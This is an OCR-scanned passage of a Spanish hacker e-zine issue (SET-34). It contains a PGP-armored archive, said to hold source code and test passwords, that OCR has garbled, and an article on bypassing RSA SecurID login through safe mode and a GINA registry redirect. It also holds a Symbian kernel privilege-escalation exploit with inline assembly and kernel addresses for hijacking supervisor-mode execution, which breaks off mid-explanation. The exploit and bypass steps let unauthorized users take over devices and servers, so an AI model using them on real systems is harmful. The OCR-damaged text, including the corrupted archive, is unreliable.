EI motivo del parcheo, me temo, no fue el trafico, sino otras actividades que
realize por alli.

ARCHIVOS Y CODIGO FUENTE.

Aqui tienes el codigo fuente y unos cuantos passwords para hacer pruebas. Para
extraerlo todo, pasalo por PGP o usa la opcion -p desde la linea de comandos.

El archivo extraido es iny.tar, de unos 30Kb.
Para sacar esto con PGP 2.6.3i, simplemente:

$ pgp -p articulo.txt

————— BEGIN PGP MESSAGE-----
Version: 2.6.3ia

owHsWety3EZ25r9UqcrvOB5FE i CORmhcZORSG11GE 1uU7JCykigKZ jWABok1BpgF
MD I pWFtGeag8Q1495/QF1YEhOVZSYyWYNQqYbo7n06z/Xr043/PPsm/KcOP5/UrNyA
Bl4fbtzwY1lmuFXge/LWswHTFXL4UuOVbPBrvV8N6C+57t0w6KObQcbxLtpwfBZVWAJ
QjbenparaskG6Z7Ei1zRPq7pkcVHy6mul9jUe9D+r2VOWFL 1 8v6EIWNVgXXF1/57v
NP63bccHes/ywP/WDcnTe/ 7B/ X+bPLj/gERFNOYNnjOjG6jSn2PXNrdvwnzwrcnéWw
/ndOWEaSoiz10Y 100URLQWKeERUSgv 1 bW+1iWZQ1WZVZI1oZjcsqqU3jBkdtk j5Fk
1Uc41bIMAWXIsgmZg/GChzZesZKQ3H5 INnZFWtWIKWhGF/BF6C6WHZhEd1QXgF47XxM
4x0g6L8VvOWUHASTOWIUViemWrKp+Lsp4gj 1A1 ImwNDTFMRIgk8FRpDAPVkJIL9FJIzm
y1VtjL4L/8zr9ENBHPGRiITTKNjkQZFgKieauWzZgxAuy jkSD7vuRJ+mcOjBgquUgLG
q2pUCBNkL901i1/8gWRdVqjObtCYUEWV+yNJ601kDpJBVas5avOh7ABT1GJqVEF26T
H9asqoSLGHiVvEKkvmJI9ygY8cxLzK/YuFESYGA4ZFHNI1Q81z8kqF74mi9jTk52yshKm
sajtuJ4fTGes jMAFo64ptMrChl ptCDMpDKThpHokR5pRmFOM4 i qdMbEyzCVtaggn
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JKWTx2SKkFxuNTaHGcvYxgu4D5zLN/ IxpQoy I FLEDHIDzEQILzn5qCeTgjhzs8wmX
kNEPBz882d/9jrz5jsz/Y/fg7Xwy6t0VvF6VedvXMUTzuglalkbUkUzOLnvH2mhq
yTFF5vAOKTBG IE5hC92JqoRCsWFY34YeNnmMuR IhrdoJiLSYw/0VsvXiQri149pnZg
EpHIYh3M5pw80X i 2uwv5UOEKQZRBUAEBUNsSNXrNk 1 vADXJ IXx+1/yfJ0aUBuFTRX
XMxwyKBoF8NFhEpvhi8Fi jKj+HPBmWu+JBedga2Dj3Q0mOmi 1dQQIWERjaYwFG7Ky
LLKsA6uUA8j IsX2BoBqg/ZagF/wdBAEj JATXiNWV1UAKIxt6uRY1FA9JT/teB1Cb4H
WgAYRP51bB7Dz IDA7BWJ iwpnEJAUKL JE9OXpOYDGPV i XGGg30LTRF6gE15gUXgH14
XhctkgNIR2W6rBt5mhGYL0o8Q5EFVKgQWEECbQQ7aqT4sy/cgxkEbtPM+15FhCKgxS
lecwL1RKsSPFOZpYDOLNXMN+bP3sr49c4+0Hpwdv93TcvDd2Pb10qdFk3gZW82P/u
tSCQe8YmGaGusN9fzFfneocTbq9LQzZNIDLHO7WpKECYR4yPgWmial pTGOyw9 jD4
NnkngAD2Ydj rS8xdQAr4rYu4EJtoUdUQGKzR++wYchy 1K34MdQPHVehIxrO1Qpjs
A8uwSCI15vC951bEEKIDXEWgG1hoVFvWUIMMKgr7ZTpvntgAVztAemGgmiDdAA7HI
JRzqOMFI j7x+7h2/wj1pR5CchE9idjA7LZroo0Tnl1Z3F6wgvaMCerJQhsmK2yaf6h
SCN+nK8WuU I59TMMTN8+FZZXtyegYKtXRYWCGCZupi I kg2sjBv+1NOiEmDA60t1B8
E1lv/uomxAxYzPo3WjDOCEFjrApzSmshR+T7u7zVI1pHWXZLo 1+LWI5IBUXTIHXXQS
ttPx2VyTX1aCE/ jDcxTVWH6ZNQRWI+BQEXS5NFZ1d2Joas0SiGgV7dgcul jw3ZCW3
qbJ9THoLCXhWrBMAS59gwEaxHIwDrfqg9KxbLsgjF81 19KaGkvWNdx7X1g4F19v0s
408ukDyg6+JPogyoulwxUb jKcl 10KSvUb259rfofz39xGt3c4W/jyvOofe/tun/8s
370B3nVc+st572s8V53/0Kb7CYZgJ2157AcQKghouPWvnfob6p73eSUVAAWZOpH+a
EQeG7t0eaETJ06eWXZdSn56HYtFAM093/ j SErZ1J9D20HthHYNGBntccyhsAl1SU
Q1mKqgI3FECR+R0exLSIgIEqTJI I 10RSF7OMIWANLRUTNd IWgkHJ tse7CtQGWVInhg
hb51TF1D1AGKRNNngnGeFrqOFcLOjJBa0sAzWs1Kg7gEJhBOQCAQA7eXowtFhOD1q
hN7EPQz IWgJphx2SCJIjMOpxXht1dWa80cMXCErc4ybN+AILDO/oNS ItmLOLGVFTS
vTFG9e2snrithtnlZcvZ35yxyRgoy/wNKc2DAc189sXFOo051+OwIRLIKvN970ENhIQ
sAiVmwuc] jqRuIBNEACETS50N2ACXY98Qa/fal5rmeQqs7TIOmWc7FFkFQRjCHAP
dSCOxpQOLTIgGFXY51dZ5ndY590WuspKjazD7FAEK31ZNCVQFtZ8ch3rWpeL joSL
hpB8gTfJgP6 1 Xxd+VQxghf51ntO0ARK/QFKN/uf3Pd+7e/9PDyXjzx28FHG8/FrR1
b/SrDYnT/X1YDyX99Sa7THhhwmbqg/8va9yWwonvzqojcFOV2FBalkxo7Ujc2febSq
9VkH60yTki1Y5368XePGDgZY/5/ ixXW30N56483y5/rd917F1/Q+Vv4aX1v227F9T/
X+N5eJ+QJ/J6UJbMAvtFp4bFCI i 1QUXqdFmQDO9XWecbho IDxCex7 jHSrbVERxeq8
szkByTwTR4wT8dmGnOHJIKC7g3CxDHMex 7Dz 10Wkh7wOXaSRKaXENHKZ1BVVmXWT8
Ac/j10XE21VzdObOpj5m+v2HI1 p9E4Qws21Udw/HKkOPFaHwLGeiek2ono/0YWWOId
KMzCDGQ8yaBEhpedmnyVV+1JzmM4 1AAINB1S/2hrvFFOOL3YuX8 IwX8kR8Qd9 IHs
cJqO0+6KA3sJVRBt2/M0j/qeTb3F7+FHufcN8cLyzufVoMt5+PNoSWABS7+nDCwKU
khhRJIxel1A7GDLXKdB2bCi3w70PMQpTsM4K2euMw7hRgeJd IC2eF1YYtSkwhNVkfdd
pA13GweDc lwge/ZT48wkBjHgz+PHEMUSX8T79rZ+FWNTKkOwl 1 ImSWFbTelelt7dh
10yKJID4bMAT1VIbKWOQAmMKJIOI0jaVvkYQC IwivgHFQ5SWhwNdFO6CUBN2mTajdbTuE
9sZdYnTHYSmv27TJIrNsSEbrfbBm6r03Yo6Q5DvFPabQ07320Du9Npu5R0h11g787u
AntXOBFYaVvF5dxZY2w9cz3aszrrvKHTPXzx7/uTptKPNOxu6Z90nT54/ezHvdDvQ
TS3H9tzAJ93pXxhnY31+Jh9N6UpwrnFuSs/+VTY/mngulwwvlL2H4gBjOReuvTYZX
XQag/xEXwN+PXardLpUcR+JfmulaOv3v3j550z/em794i10y5FmR7m+BpQ4UtefyY
G179ALV6/C9eGGXMwjGB43c8J JBFNSYsMskn8h7AymAm3ta/gF1CcOzwww8xYhMr
UzZwWFoF2qyHd6coDPAzJIK7NDAZPBTLJINPNncs+F16cry8cTlevbqOHKOuXI7d3evl
sXtjcgjugoqyaDaVDOUailIW67pPSNbf09j002sc7ryj42nnT20d945W/ IwDTPt
F6s8JIRMRSDOSF+7Q21djRHaxpCaceAz59ZTkAY4uzxA2rABDxUBNvLwaRSEgedL
HrvD11eQbMBjCx4HeWzXtgl rDiWPO+FpBGOCXXESLVIENIwjzrnkcYF1cVtOEi+I
r1Qlkscblsdr9QH1g8i13meTxh/XxW33Y1LFcnzqSJIxjWI2J1SWLXn3kWITZTYX2m
rT7+bGrNprHyz2xYnimrzzRO3STONgDWoELUahVK4PHCUAIH6aBGILYaTWdeFAeh
8hC1B1WidkelcGZRatuKyRnUI TqtTkk8mwZOpuxN3WGd316T/GDmOIMtnjesk9fq
5M5C15ra2hC+ysg2sbSWL19ecJwwjSODOafcOnytZdBhWvOc i CpbaBnB2SdOXEsx
TTtMalrKIWRg+R73mKcFnnWY1mJRuNsWWvJZ6EcBUzFvW8M6eal0sW8n1PJixUQH
dzKBhTqJ1Hep6ynP2fawT16rUzx1 IPtTpZPtDOvkdnQKYicJ15Urtjus06zVyaac
RJHXYOYN6+R2/0Q4gRXEmskF1ENCmdQpcWPPigqeBYgqGdZg20rmex6 jLtcmngzrd
ZJE6sSRI3+MzyFNNsOPbsVqck4gl zEmU9xxrWKWh18gM/sex4pp jooE4SAKROO9hm
bjRVsefYOsPaFNP+fvXq8nBOql 1s5sxcIWJOI2INTWFQR4JJENCKiSzH7TBd ImKO
VDOexX4DWY7XYVpTuwSJo+Cee87UThSTP6WTbXVibsg5c13FFAzr5LY6UWHMo4Rp
LOwHdZKukzo I fhi6oa+wxpkN62S100UBhAWLFJINrDeokwlHQZE9OnYcAj 1SOuHdbJ
anXi JFE7SFSQuPawTk6rU+zyxLGmKvBdZ1AnCbgoE5pvOqWxzhbXHFbTrNUJASKN
LUeZ3PUGdZKBr3Ty43A24301fzj2vFYnmjA7 iHReusGwTnbrp8hlkef7egXpxRTT
au7uxl4eujLFXHtm2zoc3VmHacl11rJcGY60zZJkpoDOszpMl+3VrtyrQ8hkh2km
2mFaU1PYxpUpFsOclnjBswd1k16Q0vmeF3qzSG1InjO0sk9PgNE2sK 1 pmCgE8dign
q9UpSXiSulECb88blom20k29gevFsQlozx/207SJUBKMAXd12RsM61QjS+gUcDvi
PITJ7EOHdAZLZovzkWNR1qglolbzaokOQAQZPLrSmITONkW8M6UZ3YCzwn4FNI1cp80
60RbNcLYYYntgMD37WGd7FYnm8VBb I fqcOl 7w36atTrxcOrHzkzr5DYpdnpo4Sud
Fgt5221Bk21zxCY12Laxjd8m3tnYdLAZYXPPcO14gK+xGEIWubi8WpYrHjJIxpZXp
Sz3luaF/aJSEx4L1wLs+oBrjVZwaATvIKny FIBSPLUIZtYRspMp4D6ZjA701dJIwUB
yCdv1sXnBuzGL1xGCvOWaJSShVwF3zY3xFfeVT/LzBMWHIEbVEGriVzUYMMTM5pak
XM8VSPOYAMLBwW jWk/uwC619Y IbK4 1Bkr TOTFHRJI9019GpORW1MZ5NwndOgNRkddp
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vuKqg4zPRX6Fh/tdFDHwx i 8EeaZSyDCeWX1nwd8EXFa8NQ1j6vok3BdYYFGOu9aUs
QLy 1 luyOKEswc4G31+wvglTNJicDOOTL895kPZsYhvQRJJiHOASGCcCD1b2zFSad
4zQ/aQwgYJIVI1tbe3 1 XPZFS+wPQFXxyAeG9581W7T2k5c0X74XX I Xxmr4U1BiKGSNR
XJ 7wdp5KFNIKOkgMye jO9OKz5PxgLm1/MF10/0vbVb1+d19PcOk7gWcXxGgPOlYcS
rdFdc4qYzVXMgm1UQmBDhWOnevrLi Iw9OMyPQN i tyOmchoQOKbgNiX20RTSNMr W
UuaCxJAdsi/XbD5aNvJIMkOCi61D65G7d4khEUZ12k2n03aiRduZOpMS9VOyMUYo
1yPSORI5E+E/Qn75BT/8/BzDcPU+H3Sket4PTw/F52J3J 7Wxx9qkY224tSTB57N+
VS+FOwn9qvP5CRITFFgkFrErSXCZ3LzoWKjoWEB3 i1 Gwm8XoyN66BAmy j XwoKrOeBy
PMAVQoujrYvLHoJPL2URryKRNZ3PcG20XpwTgflynLkUadpOMxSr+VsQ53qY00px
FfLcHPZchT5fxp/r1VAvHa+BQtTCoeshOSVY9GUOWoOOvX0 i rWPSrwWI09HvggX T
Bk1j1Y1daOgA02/DKVQ8Spdp8b+PVZFmgDWMQEtFBIU25ho 1UP6pOIulg4R/19Qdy
/TOFruh3FI1S/Grik615SVF2NXPLIwWjFL82Dypyer10d1cl1TVoa7427PuMzjEi fyK
OwixgZVpQWBCgK+i TBUFHIEJ JFQRKSTEMPti1d2907gNvc5RNcz 1 zQ7KOcemt5sAL
Z3n21a0KFSjaOU8AIHgOh8k7FZIMJIgQ8kONdSpJkK4 i rqo6LVa2 jC5aBGEyKJIRX |
8wTyswxHON1YRmJOh7z5YW/PJJ/0AvOyhAxiapmmbhal8LOONVAaQeOHScX5TziP
g0gD+FxfFj+dvnssVQCNcu+ZZhhRaJHKIAGImMU2XBsqy IDCS/T6r01y8SMWa2giqge
VERVXRmj3cWygN w46 TKFS8/wHTaB6PryXowf6vFATcgZGxJIJm8tXvC JAFONXx82ma
cePbBOVDTbq3B8LKJI7yOtKZNpgoLW2cWMzF3mmZsru9+SK3W3kGMXzv6k0aw9nZA
mOUQJIN/cPFKCgkRm2ebm4CVCkw6NpuoKpD+dDNDP j c+6C13S09NMh1HGOX j 25zsx
CcOrgF/1EHhV70oFET INTh67LwldutEmUFRWXVtUgX/J6VeYqWT6rrNzjsEvBegrs
zOnFshrgnKhYFBBiZyn8oZal SXN5hcSPBRZTnqJJGp020Zqv I1D3zTnKqoECi tQzr
JJgc/VOZIKNdYA4mvVTvOU iHbd74rxueuG4vPpMqYrnsv7hJ393XmHt3X4Pu3X2N
unftlzqGiR1a5WEHjJ5h/9yQvSgY5H64yFhd IWy isLelUuKJIC+TZTcMPel bOZSdbS
Qur/WjoQvMDLAgsS5eYWdgHcYZ2PsPZECYPV1aAOYENdTEbtFhGWnP3US50LOPSWS
YE+zR6Td1 jXb+Xx00EV5r jNfYrjGdspzcwrQA8ndfryb2vv2+0dRM3UHaH7R7g32/
OOKNNp6TFLKkChs/9bHOMMQ1 126ge51Z5RBBCRYRFTEXEO4wWCSAS jDXbAtmO3yL3q
niw8Z0vgnmnKmLbMrX7+5p3s/V4eHFAQQZKBNT3TmbpgaS4uhyEFALrVXXB58uHw
SO0dre2Ms7oN7u+h9eRusQB4xFgaBotBptpFF7AnuBP IHN8xavBzgtzHuskfNhmK1
qal 1cKcFEiGWdpUwng5FbVWL i tXbSISFudxoZL0g5mjDpXdHLU7H1d24TseSc7k/
mtqvglSR/zb+1Z240P3+4N5+/nt/gGhZsH77rbl jwBL74Sy3XEm14fErpBgWKgPqge
71Kgd4LA2yDWDcrUPCs 1gJKQjben5apaskG6J/Ei1zSFaSgRpXnONOb7G83TFc7zV
0CcnJRzYocpHHMkyfsLEIRagR3E3cOVWPP+FIqxtt23kDF/VvAHMHKbMXOg5Em9La
8gr1hWirTQqvIlUrxFkUvjBEStpi 1SIJYHr5W2D9tn6AvVO+/8ZnmQHSS+SRVSNDES
Z/75z0eJgECGNmMM/SCh3LXCGYcdFQVKK5RBp IgDMFID+WiLUaFnmYJd1VcZ5vyoU
Pc8TBAI5/7LENfCdcuweux5umEV3JZCRcVLgvOnVgYodw+HFIZKiwk13A/15/Gng
4qucAK9ErTYmeQLEH9 109BWhicBHMGRF6JARQOTHIpBYbEVvghWwhZZ1RM2YV8v36
vTZLQiInQuSnp4UciOBRwWQyFHzPX7RBBhepvCo+W010m5yzMsKea+3ZXFImEHCObQ
ToLBMy ipBLUIACTBJ6Gi1YXRJI6/L2Fj jJEA64U410kAhwAHP 1Kb2W612gE23JCiAXO0
E1ByRS5dQz8VFWTayMEVOQNCzhj i Zy7LGNVCATkpAc7BedK9gV7jVRLAAGMMX I X6
Lol1xrsj6mZUDXW8isT18tKVHCcRy6p7kUkKkLU8INUaTTo60Hh4c juPNyewTssYsb
XkY6xAc10eJplUNBiPtHhcglnQpKP8xoQipvqfhx5QWjTaTRNnY9uJIM4KyPsRBayO
0CdWgAOimeuT8syQarGW1xhuwcYYCRIMYTrsu3KeS6smIDZTKXJ1Q1683RkR70jh
AsQy5T2dZtiMR5pQhFIH2nJKKDAO+pZTg4AHN8RFCOZe fwA4mFBWbWgVztgTCajq
1rUXBR2IMb2nBAc5h+MMnm/ 1 72kYqSXKABLErekrJAi1FFK13a724Qn2jJ2B19/K
09+Xw8V IDhNmIOUW8S0xZg11K60CxrSaThsLo7SVcHGPelL98GdLcGFYt7JSbbeEe
CgaVuC1jpovVwGLMCAAT142CgNAXy 14dCkkOmZEO I /SxFTHAMzKkbHpyP/x70zs/Wx
8JSFHN06GT30T8aT42+K6VD09enZ7Ungj9T In4yCyeTU0z7zRqFrs70RGnujb6bL
gXic3+Wi7iRYDLidYMu2090mbPOOM7INMN7QpxCTQKzdLFpDUre6KDx7/ IMAS+Dc
PvOrGPkJOC)JEIXwD6SVQYONYVFMSU20J5CDUEL+x ThnyyMyMGEVAS 105FBVtIZxY
1W6/1tsd9DavKsidINOy7GNvCOnbLgZgWc jkvVdt67UpCIDGhR7B71CJKETry77SQ
/tL6YZLOJIgBHjyzeOvHIaykcjhjb1fBFITEJRsqn17GOWSOMY5D7mWR7PexnEoh
HVFMONUEZTYWZy9OWW26XtbgP213R/ JAPNZTF2Dy 7mX2bt35hQPLaNxZBdo7yKzNI
1JSS0ZsYrfM9gAM099aHC27N1cfco+50yLbud5WazB3t1VeDIT1ppl04R98Jseuc
Re 1KQXpk2YK/LXx8x06kSS3aMMCu61puFPWgb IH8TpJtVcGILh1Tmb8J7XxPSzDYE
40r15Tyq3ncUgGMhBWL4HwWrUdYMTypOVPmowUs JUOlvcSaY5sNwB6+tavuGZi fcF
EHIONVBHbLNeJzA7DsGnUI5dt5Lsmwv j FFkFkNaryMgSKbEXEYawpsuawvQ I F4bzF
bsT60PQcNPJdN7QgDmVSKCICrMrn/EGWXKRECkiBYh53FZFOb8sp3199J9dvEgQNM
B7UzRzqlk2t2+741fv3ga06MpvAhSPb21dvkYbwVEJPCEJI j/HFQ2s5A6gCZ IXwT
tgDGihKDPeN6yVENOkapviZ1sXBrgHViRgqH63akKMYcoXmtjvCa66bbKm/gOwsTH
e0bFmIsAronb8Ch3zZmcVDkgzNuSQEaB1d Is7BURkook jNzKevNRUWmskPQOxS0o04
BRTW6g68VzsCvgOGF9gayZb+D7BF2qROSh IpgD8oQwK5dMLa5085Um+bnAC60dPW
a/ukKDnmNIkNTkeHJc20C00ONSpFH/ J+Xy/9y 1 +t+GrS92xyfqfzycVPX/aOKNsP+H
k9Pxof7/Goum3uJexY 181YLbtw5KLNZWRLFAD+8uqiRUbJIPsbiNMTvmHJI I SOVv/ T
vsj+09nHF7j ju/bvweat/XveyQT7T4+PRwT7/xrrcwr1Z59VKF/2tBzWF771/m0OX
8Yvd8Qn7/+HU06Nj/3gOMTHT09j /11 jP5FC71dL+11zvpgjguDB690iZel4/eZ7E
+1H8V8yVUsLVFqouFE0J12C28U7jsnCLirGQZRZF4XqAQtDM2/CD3j6nrg4xXhoCV
VJNLPhjoWw8mjyv7UTAel 7U6/kJIn69SaMO7Lo0SvTsOY+JvdSaM5a7Sfo8Ydgbl21
kaO6rHar jTyOlQ7vpsLG1PDUb9pprt9c13UGdm/yi/aAhAHXY5wGONm3vJ47/Q64
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JFY3ieuYZzQptUdfyOGli1JJ22e2vZ3+W1ldyvIiwulnL1x0tgHr5alLBfyaiF/vr68
mi9nLy/nTnPOjJH3N76FpyDWK6eD jdIwe0/Fadrn6rQhpLmhu8PoSpJgrR3y113/i
zvmluelLtbDk/nz++Rke5/vgp IDZFFQ5u+wyuGUt0shJG+rlgcRmszXbgstNbzS/n
5+/kbHX+5k1vdfly9W755ur3vep5messRrEvXy0OXP/Ev+afX8+Wcv4bBC68/8AY(g
HbDGk77TyHD8S1Z2850ck2JIXh+KMyrDjze i aX89XbxdXFm4uFPF9cdSXrfDZL3c8S
XKMjxknMqUOTuY 1AS5yrLkihgzw6pn8wD IHIFUbmNIe08rVX0Q6tAFUNUE jDYy2NQB
5imlyv651dzjiqjtwt6rzEtuplUjK+pyJAXIXAMKkIwjcFVgXOXU7U5gK5VIF2i9V
wNOCc62CC2009JZ5p46RWFhamRX1d/WYdqdgnf+Ffk5TrnTdCO/EjR1DALP2g33aR0
A+dn9nTKzudOLOHIbK+U+15J3X0ALqob/cl10AIVIL6Aa0OXENFNntO8BLQSspHO3Kke
UIM2vwGj8HDs jceT1oGTLK5uXtM87UX14t1tcNIrHFg+Btt3N/ohCO+QYvT6bpmm
Ouv1G1DUSW59FROXW7ppdOPJI2dWFAADBWNT30r IB+tCi/oKprogq86g166QGg9f7m
7FHUYOk+M+AJK1TNW/NOOGguL6chzmyrfvH5 1 IHMVEXrCRgtcs3eloN/9PFwN6HU
XYeOCdUePW/FPIrN1DdM81Z0jh4FwpotPsdyulLA26CTVsVFYsNoo4kB2LspIB6qgz
bqzVv00s33gVvFOd603EtFLgla8aKuue8ie9plk20pAo4tXNyc0ldbsDpk4+6wjlt
Ullnl16HMaB/CTmW2kyTDP1uc3DP/bTgDEd7cF7RJJINn9eqAL4mhQAdoDUgHYwW4SB
zKOE4kQa/Qq0zTg6zHTIKMMIMYHNtO1LSX+eHboph3VYh3VYh3VYh/U11r8B
=pmHt

*EOF*
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“[ OX03 J-----—— e -
-[ Bazar de SET J-------—--=-=———————-—
-[ by others J----------—-—— SET-34--
Indice

3x01 RSA Security Hacking Anonimo

3x02 Escalando permisos en Symbian Moviles FCA00000

3x03 Diario de Internet Sociedad HackMan

3x04 Uutilidad de formateo Software elotro

-[ 301 J-----—— e -

-[ RSA Security J-=--—-=-=——---— oo
-[ by Anonimo ]---------------- - _—_— — —

RSA Security

Para quienes trabajen en una empresa que se preocupe (y pueda pagar) su
seguridad seguro que conoceran los Tokens RSA y su correspondiente algoritmo
RSA.

En Tos ultimos dias se ha hablado sobre agujeros y que han Togrado romper ese
algoritmo pero dicha tecnologia sigue funcionando, y mucho, en las empresas.

Aqui no os voy ha hablar sobre dicho algoritmo pero si sobre como funciona y
algun truco para quienes lo tengan que administrar.

;como funciona 1los RSA?

RSA es una combinacion de hardware con software cliente-servidor.

ET software se instala en Tos pc's clientes de aquellos usuarios que el
administrador considere oportuno que necesitan de dicho producto en tanto
gue otra parte va en los servidores, preferentemente en aquellos que son DC
(Domain cController).

Cuando un usuario trata de Togarse en su SO el proceso es asi:

- Se enciende la maquina y cuando aparece la pantalla de Toggeo se introducen
unas cifras fijas (que el usuario ha preconfigurado la primera vez que uso
el RSA) siempre numericas y que pueden ser de un maximo de 8 digitos, estas
no varian de no ser que lo reconfiguren, y detras de dichas cifras se
introducen Tas otras 6 cifras que aparecen en el hardware (token) RSA.

- E]1 cliente manda dicho codigo cifrado a traves del programa cliente contra
el/los servidores configurados y con el certificado que los acredita para
Togar.

- E1 servidor crea su codigo RSA y Te antepone el codigo fijo, si ambos
coinciden manda_un aprobado al sistema y el usuario entra a trabajar en su
sesion con total normalidad.

Como veis el proceso es transparente para el usuario, el introduce su clave
y como esta va por encima de la de windows para el, no hay mas problema que
no olvidarse del token.

E1 RSA se combina perfectamente con el Active directory, de hecho se ha de
crear en el un grupo para tal fin (normalmente RSA Users) y con los usuarios que

haya dentro de dicho grupo del AC a los que se les solicitard el loggeo con el
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RSA.

Por lo tanto cualquiera que puede acceder al AC puede deshabilitar el entrar
con RSA a la maquina, puede restaurar la pass de windows que desee sin tener
siquiera que saber Ta antigua (esta es una de las utilidades del AC).

- RSA no me deja entrar en mi servidor.

Este es un problema que se le planteo hace poco a un amigo mio, un dia
administrando un servidor el RSA no reconocia la cuenta de Administrador.

RSA deja la cuenta de Administrador como una cuenta aparte por 1o que no
cambia nada de su configuracion y 1o deja como un usuario fuera de su rango.
De ese modo asegura que asi siempre puedas tener accedo a_cualquier maquina
dentro de un dominio con esa cuenta si la de usuario se bloquea o pasa
cualquier error.

ET problema comienza si tu incluyes al administrador, durante la instalacion,
dentro de los usuarios a restringir puede que el resultado (y muy
problabTlemente sera) que no puedes entrar con tu cuenta de Administrador y el
error es que jjNo existe dicha cuentajjj Entonces empiezan lo problemas para
unos (y To que puede ser una leccion complicada de hacking para otros).

Mi primera recomendacion es que no fuerzes a la maquina a entrar, no te va a
servir de nada intentalo y veras prueba: usuarios del grupo de amdinistradores,
administrador, usuarios normales. En cualquier caso no te dejaria loggar en el
servidor.

La buena noticia es que el servidor seguira dando todos Tos servicios mientras
este encendido y que desde otro servidor podrias acceder al AD mediante su
panel, Ta mala noticia es que no puedes entrar "fisicamente" en la maquina
porque ninguna cuanta te va a pasar, hinguna existe.

La solucidn es desinstalar el RSA pero este es un programa que se maneja en
red, por lo tanto solo se puede desinstalar entrando en algun modo en red vy
claro, para entrar en red tienes que logarte en red.

La unica solucion que nos queda en entrar en la maquina en modo a prueba de
fallos sin 1a red instalada, primer problema: De nuevo te dara error de login.
Primera solucion: Arranca de nuevo tu pc y entra con el LKG (Ultima
configuracion buena conocida). Prueba ahora con el modo a prueba de fallos sin
red y mete tu pass de toda Ta vida de Administrador jjAhh!! Puedes entrar :)

Bien ya estamos dentro de la maquina, cualquiera puede T1legar a este punto
pero ahora ;como conseguimos borrar el dichoso RSA? eso es mas complicado ya
que al estar integrado en red, necesita de Ta misma para desinstalarse y claro
cuando vayas a quitarlo te d1ra que el instalador de windows no esta arrancado,
mentira cochina, prueba con cualquier otro programa y veras como si arranca.

Tenemos que ir al registro para substituir un archivo de arranque y que asi
ahora que gracias a la LKG hemos devuelto a la vida_a nuestra pass de
Administrador podamos entrar con ella saltandonos el proceso del RSA.

Entremos en nuestro registro de windows y busca el archivo gina.d11 ;que es
esto? muy sencillo: la interface que Windows utiliza cuando logas, el cuadro
donde metes el pass y el user esta dentro de una libreria en
c:/winnt/system32/msgina.dll

Y el RSA To ha redireccionado a una dl1 Tlamada gina.dl1 a secas dentro de

su propio directorio (de ahi que ahora Ta ventana de Togeo tenga ese dibujo del
RSA y no la ventanita y el simbolo de windows), pues nada ahora redireccionamos
a la direccion de windows. Reiniciamos y entramos en el modo normal y tachanijiji
ya estas

dentro de tu servidor de nuevo como administrador.

Seguro que tu primera reaccion sera borrar el dichoso sistema de RSA, yo de ti
tambien 1o haria, lo reinstalaria pero la siguiente vez preserva tu cuenta
de admin.
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RSA es un potente software de seguridad, pero son cosas asi las que pueden
provocar a mentes malintencionadas.

En los clientes preserva las cuentas locales, haciendola accesibles totalmente
y habria que ver que se puede hacer por ahi sustituyendo ese mismo archivo,
seguro que si To probais podriais entrar en el dominio como usuario saltandoos
el RSA, pero eso ya es para otro dia.

-[ 3%x02 J-—------——— -
-[ Escalando permisos en Symbian J-------------—--———————mm
-[ by FCAO0000 J----=-=-===—mmm oo oo

Escalado de permisos en teléfonos Symbian

Este es un articulo que escribi originalmente en_inglés. Ahora ofrezco su
version en castellano para deleite de todos los lectores de SET.
ET texto es corto, y bastante técnico.

Symbian es un sistema operativo usado en muchos teléfonos méviles, incluyendo
Tos nuevos modelos de Nokia y el Siemens-SX1.

En Symbian, los programas normalmente se ejecutan en modo de usuario. Esto veta
el acceso a las funcionalidades mas criticas.

Para acceder a servicios protegidos, necesitar saltar a modo de kernel, que
tiene poder iTlimitado.

Por supuesto el kernel no permite que el programa de usuario haga 1o que Te de
Ta gana: primero hay que pedir permiso.

En particular, los programas en modo usuario no deben alterar otros procesos o
acceder al sistema privado de ficheros.

Hasta ahora :-)

He descubierto una debilidad en la funcion ExecHandler::LockedInc.
Normalmente se usa para incrementar una variable perteneciente al proceso que
ejecuta esta instruccion.

ET c6digo desensamblado es:

LDR R3, [RO] // carga R3 con el valor en la direccién RO
MOV R2, R3 // 1o copia en R2

ADD R3, R3, #1 // incrementa

STR R3, [RO] // lo pone otra vez

MOV RO, R2 // devuelve cual es el valor previo

RET // sale

Esta rutina se invoca con

User::LockedInc(TInt& avalue);

que estd en la libreria euser.dll . El cédigo simplemente hace  SwWI O0x8D
(Para una explicacion detallada, ver "Crossing the Userland" by John Pagonis)

Un ejemplo tipico es en programas multi-thread, para sincronizarlas:
TInt estoyOcupado = 1;

Boolean estoyEsperando() {
if(estoyocupado >0) return true;
return false;

threadl:
while(estoyEsperando() ) { true };
User::LockedInc(estoyOcupado);

De esta manera se evitan race-conditions.
Mencionar que sd6lo se usa en 1 programa, en MIDPINSTALLER.DLL
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Pero debido al modo en que se le invoca, permite elegir cualquier valor de la
memoria, incluso Ta que pertenece al kernel.
Lo Unico que necesitamos es apuntar RO al sitio correcto:
TInt addr=0x80400000;

asm ("Mov r0, %0" : : "r"(Caddr) : "ro"); // inicializa RO

asm ("Mov LR, PC" ); // cuando acabe, vuelve aqui mismo

asm ("sSwI 0x8D"); // simula User::LockedInc(int &)
asm ("nop™); // pierde un poco de tiempo

asm ("STR r0, %0" : "=m"(addr) ); // muestra el valor nuevo

Esto incrementa el valor contenido en la direccién 0x80400000 .

Si intento hacer directamente
*0x80400000 ++;
esto falla poque no tengo permisos.

E1 dnico problema es que también incrementa el contenido de Ta memoria, pero
con otro SWI Ox8E es decir User::LockedDec , la podemos decrementar.

Por supuesto no toda Ta memoria se puede leer/escribir.
Aqui van algunas direcciones interesantes:

La ROM empieza en 0x50000000 y se puede Teer pero no escribir.

Las direcciones 0x00000000 - Ox3FFFFFFF no existen

A partir de 0x40000000 hay 8K de datos compartidos estaticos

Los datos del kernel 1lamados EKern::SvDat estdn en 0x80000000

La pila del kernel 1lamada EKern::SvStack se encuentra en 0x80400000

Tras escribir en EKern::SvDat es entonces trivial saltar en modo supervisor
a una rutina todopoderosa que haces tu mismo.

Por ejemplo, cuando el procesador estd desocupado, el kernel 1lama a NullTread
que aterriza en

ImpHal::Init5

Ta cual en un Nokia N70, hace

LDR R3, =0x8000047C
LDR RO, [R3]

LDR R3, [RO]

MOV LR, PC

LDR PC, [R3,#0x18]

es decir: 1lama a *((*(*0x8000047C))+0x18)

Por tanto puedo escribir:

en la direccién 0x8000047C, el valor 0x80000480 para iniciar RO

en la direccion 0x80000480, el valor 0x80000484 para iniciar R3

en la direccién 0x80000484+0x18, el valor 0x80000500 para iniciar PC
en 0x80000500 , una rutina todopoderosa .

En otras palabras:

LDR R3, =0x8000047C -> R3=0x8000047C
